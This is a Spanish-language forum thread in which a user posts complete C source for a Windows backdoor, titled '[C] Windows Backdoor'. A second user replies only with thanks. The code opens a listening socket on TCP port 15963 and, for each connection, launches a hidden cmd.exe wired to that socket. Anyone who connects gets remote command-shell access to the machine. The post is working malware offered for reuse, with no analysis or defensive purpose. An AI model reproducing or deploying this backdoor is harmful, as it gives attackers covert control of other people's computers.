Página 1 de 1

[C] Windows Backdoor

Publicado: 20 Jun 2009, 14:15
por l00l

Código: Seleccionar todo

/*
                       -[BACKDOOR WINDOWS]-
by scoder
*/

#include <windows.h>
#include <stdio.h>
#include <strings.h>

#define TCP_PORT  15963
#define ExeName   "cmd.exe"
#define WELCOME   "Welcome to the Win32 BackDoor - programmed by $coder.\r\n\r\n"

int main(int argc, char * argv[])
{
    WSADATA WSAData;WSAStartup(MAKEWORD(2,0), &WSAData);
    SOCKET sock;
    SOCKET csock;
    SOCKADDR_IN sin;
    SOCKADDR_IN csin;
    sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
    sin.sin_addr.s_addr                 = INADDR_ANY;
    sin.sin_family                              = AF_INET;
    sin.sin_port                                = htons(TCP_PORT);

STARTUPINFO Stinf;
PROCESS_INFORMATION pi;

    bind(sock, (SOCKADDR *)&sin, sizeof(sin));
    listen(sock, 0);
    while(1)
    {
            int sinsize = sizeof(csin);
            if((csock = accept(sock, (SOCKADDR *)&csin, &sinsize)) != INVALID_SOCKET)
            {
                      Stinf.cb=sizeof(Stinf);
                      Stinf.dwFlags=STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
                      Stinf.hStdInput = Stinf.hStdOutput = Stinf.hStdError = (HANDLE)csock;
                      Stinf.wShowWindow = SW_HIDE;

                      send(csock, WELCOME, strlen(WELCOME), 0);
                      CreateProcess(NULL, ExeName, NULL, NULL, TRUE, 0, NULL, TEXT("c:\\"), &Stinf, &pi);
            };
    };
}
Saludos!!

Re: [C] Windows Backdoor

Publicado: 20 Jun 2009, 18:58
por Dimitry1110
gracias esta bacano gracias por tu aportes tan bacanos